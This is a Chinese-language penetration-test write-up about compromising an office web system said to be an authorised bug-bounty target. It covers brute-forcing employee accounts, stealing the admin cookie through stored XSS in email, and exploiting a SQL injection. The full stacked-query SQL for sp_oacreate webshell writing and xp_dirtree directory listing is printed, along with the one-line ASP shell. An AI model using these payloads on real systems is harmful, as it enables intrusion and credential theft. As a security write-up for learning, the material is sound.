本文为记录实战过程中遇到的问题及思考，旨在思路分享及自我总结。文中涉及目标站点为SRC授权站点，为防止漏打码已对实际链接进行了部分删减，如去除了链接目录名等。整个测试过程涉及未授权访问、暴力破解、存储型XSS、SQL注入，到最后拿shell，过程略微曲折。
PS：截至投稿前，已将漏洞提交厂商并验证其已完成修复。
打开目标站点，为系统登录界面。安装VNC远程协助链接到内网地址，经测试登录无验证码及失败次数锁定，可尝试暴力破解，此处先做信息收集。
目标站点：http://1.2.3.4/login.aspx
脚本：aspx,通过登录页面可知；
服务器：IIS7.5，通过404、403报错页面可得；
数据库：可能为SQL Server，常见组合；
安全防护：未知，对IP进行端口扫描会封一段时间，但测试and 1=1不拦，无WAF或未开启严格的防护策略；
通过查看返回包，发现Server为nginx/1.17.2，判断应该存在反向代理。
通过对现有信息的分析，优先选择暴力破解，系统首页登录为密码md5前端加密后传输，此处爆破需选择burp的HASH-MD5后进行爆破。
系统登录失败返回信息都为“登录失败xxx”，无法确认是否存在用户。
查看页面源码发现存在http://1.2.3.4/client/
此页面未对密码进行md5加密，即
首页：http://1.2.3.4/ 密码加密后传输
Client：http://1.2.3.4/client/ 密码明文传输
此处用http://1.2.3.4/client/ 进行爆破，不需要进行MD5加密可提高效率，但使用name500及自定义字典，包括常见测试账号，及3位数字，4位数字，5位数字等组成5000多个用户名，爆破密码123456、888888、111111，结果一个都没爆破到。
当时的思路是先确定用户名，例如工号等，再去爆破其中存在弱口令的账号，并未想着直接爆破admin，因为那时觉得后台可能不在这里登录，现在想想也可以直接盲爆admin用户。
所以那时先收集用户名，使用Google语法，Site：xxx 工号，但并没有收获。针对只有登录界面的系统，只有掌握了用户名的规律，才能提高爆破的机率，此处很有可能是工号。用户名收集无果，便打开了目录扫描，看看有无敏感信息。
通过对站点进行目录扫描，存在以下目录及文件。
逐一进行访问：
css.aspx访问弹出登陆超时，跳转登陆界面，禁用js访问空白；
reg.aspx访问为软件注册页面；
main.aspx访问弹登陆超时，跳转登陆界面，禁用js返回页面如下：
查看源码，发现存在main_d.aspx如下：
禁用js访问main_d.aspx返回以下页面：
继续查看源码，发现以下地址。
禁用js访问http://1.2.3.4/MyWork/Richeng/RichengmyList_show.aspx?id=12
点击修改，此处已测试id不存在SQL注入。
该页面存在大量附件，其中有体检附件登记表，点击下载链接如下：
点击下载跳转登陆界面
此处感觉是有任意文件下载，但可能需要登录，后续爆破出账户后可测试。
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
需下载文件，尝试构造http://1.2.3.4/file/liaotian/201922xx.xls
如上获取到该单位的员工工号，使用excel生成工号列表进行暴力破解。
上述已获取工号组合，生成01111-05555进行爆破，使用密码123456、111111、888888、123qwe、qwe123、123123、123321。
当使用密码123321时，成功爆破出一个弱口令用户。
使用该账号登录系统
系统功能模块较多，测试前面的文件下载
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
尝试下载web.config
http://1.2.3.4/file_down.aspx?number=web.config
测试不存在任意文件下载，修改文件后是直接Location到文件,从而下载，
后续对系统的功能点逐个进行测试。
后台功能主要存在以下4个上传点。
上传点1-印章上传：
上传点2-邮件附件：
上传点3-头像上传：
上传点4：KindEditor 4.1.10 编辑器，貌似无解。
上传点1，文件上传后的路径为：/seal/2021815238.png
此目录未限制禁止脚本执行，但无法上传脚本文件，尝试绕过均失败。
上传点2，文件上传后的路径为:/file/emailfile/2021081523.png
此目录限制了脚本执行，即/file目录下不能执行脚本文件。
此上传点可上传aspx等文件，但上传后后缀为.unknow
后续通过注入点发现上传后缀写在数据库中，可以通过update语句增加后缀，但并无跨目录的方法，即使上传了aspx脚本文件，也无法执行。
上传文件后截图如下：
后续查看数据库，允许上传的文件后缀如下：
上传点3，任意文件上传，上传后路径为/SystemManage/User/file/ 下
测试目录限制脚本执行，无法跨目录。
上面针对后台上传功能测试后无法上传getshell，便考虑是否能找到高权限账号，管理员账号可能有修改上传文件格式的权限。
此时测试邮件存在存储型XSS，发送邮件可以打用户cookie。
发送邮件给自己，收件箱打开时：
可以给管理员发送带XSS的邮件，当管理员打开邮件时，即可以获取管理员的cookie，此处配合server酱，可实现获取cookie后微信提醒通知，同样发送邮件给自己测试。
编写邮件，插入XSS平台payload。
收件箱点开后
微信收到Server酱通知
登录XSS平台查看，成功获取用户cookie信息
此处构造好XSS后，给管理员发送了标题为【问题建议】的邮件，增加管理员打开的概率，即打开邮件可获取管理员的cookie。
同时在邮件选择收件人处，发现组织架构处，可列举所有用户的工号、科室、姓名信息。
故可以收集用户工号，此处发现管理员即为admin，在等待xss的同时，也构造字典对admin进行爆破。
然后竟然成功爆破出了admin的密码，看了下密码在“全国弱口令TOP1000”中没有，如果一开始就爆破admin，可能也爆不出来，个人习惯是爆TOP1000，当初也确定不了管理员就是admin。
此处也说明有一个强字典是多么的重要。
使用admin登录系统后，只多了以下两个功能模块，很失望并没有可以修改上传设置的功能。
测试发现登录管理员也并没啥用，还是无法getshell，既然上传无门，那就寻找注入点，如果是sa的注入点则getshell的机率大很多。
于是又重新回到后台各个功能点进行测试，经过一番测试终于发现了一个注入点，链接如下：
测试1=1页面正常
测试1=2页面异常
爆数据库版本信息
如上确认存在SQL注入，使用sqlmap进行利用，当前用户为SA。
测试使用—os-shell命令失败，可能是有安全设备拦截。
此时也对数据库的大致表进行查看，发现了管理后台某个点的文件上传格式可在数据库设置后缀，但无法跨目录，故即使能上传脚本也无法getshell。
经手工测试注入点支持堆叠注入，此处尝试使用sp_oacreate写马，SQL如下:
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
但需知道网站根目录，此处可以使用xp_dirtree进行目录遍历，SQL如下：
create table dirs(subdirectory varchar(255),depth int, filee int);
insert dirs exec xp_dirtree 'c:\',1,1
建立表后，先执行以下查询，此处为查询c盘目录下的文件夹及文件：
http://1.2.3.4/WorkFlow/AddWorkFlow_add_Next.aspx?tmp=0.8307731177113578&add=&UpNodeNum=11,&FlowNumber=20189139012187';insert dirs exec xp_dirtree 'c:\',1,1;--&FormId=86&Number=202181414
页面返回正常，则语句执行成功，再去sqlmap查询dirs表下的内容，即为c盘的目录内容：
利用上述方式成功找到网站根目录为d:\OA\ 下。
执行SQL语句写入文件shell.asp
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'d:\OA\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
打开链接：http://1.2.3.4/shell.asp 空白，中国菜刀连接成功。
上传冰蝎，后续可以进行socks代理，从而进入内网。
通过systeminfo收集系统信息，可用于后续提权。
以上成功获得目标站点shell。
渗透测试很多时候需要的细心和耐心再加上一点运气，当我们在后台无法getshell时，可以尝试去找后台的SQL注入，高权限的注入点可以直接写shell。 又或者当我们有一个SQL注入点却没法写shell时，可以尝试读管理员账号密码，登录后台测试是否有文件上传漏洞，从而进行拿shell。关注不同的漏洞危害，并进行组合利用，往往可以达到出其不意的效果。
至此全篇完，感谢阅读，希望您能从中有所收获。
